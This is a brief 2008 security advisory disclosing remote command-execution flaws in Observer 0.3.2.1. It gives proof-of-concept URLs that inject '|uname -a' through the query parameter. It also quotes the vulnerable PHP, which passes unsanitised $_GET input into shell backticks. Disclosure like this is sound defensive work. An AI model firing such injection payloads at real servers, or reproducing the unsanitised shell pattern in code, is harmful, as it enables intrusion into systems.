Observer 0.3.2.1 - Multiple Remote Command Execution Vulnerabilities

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   [ Discovered by dun \ dun[at]strcpy.pl ]

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 #  [ observer <= 0.3.2.1 ]   Remote Command Execution   #
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 # Script: "Observer is an autodiscovering PHP/MySQL/SNMP/CDP based network management system focused primarily on Cisco and Linux/BSD networks."
 #
 # Script site: http://www.project-observer.org/
 # Download: http://freshmeat.net/projects/observer/
 #
 # Vuln:
 # (1) http://site.com/[observer-0.3.2.1]/whois.php?query=|uname -a
 # (2) http://site.com/[observer-0.3.2.1]/netcmd.php?cmd=nmap&query=|uname -a
 #
 #
 # Bug(1): ./observer-0.3.2.1/html/whois.php
 #
 # ...
 # 	$output = `/usr/bin/whois $_GET[query] | grep -v \%`;
 #	$output = trim($output);
 #	echo("<pre>$output</pre>");
 # ...
 #
 #
 # Bug(2): ./observer-0.3.2.1/html/netcmd.php
 #
 # ...
 #  switch ($_GET[cmd]) {
 #   case 'whois':
 #     $output = `/usr/bin/whois $_GET[query] | grep -v \%`;
 #     break;
 #   case 'ping':
 #     $output = `/bin/ping $_GET[query]`;
 #     break;
 #   case 'tracert':
 #     $output = `/usr/sbin/traceroute $_GET[query]`;
 #     break;
 #   case 'nmap':
 #     $output = `/usr/bin/nmap $_GET[query]`;
 #     break;
 #  }
 #  $output = trim($output);
 #  echo("<pre>$output</pre>");
 # ...
 #
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 # Greetz: D3m0n_DE * str0ke * and otherz..
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 [ dun / 2008 ]

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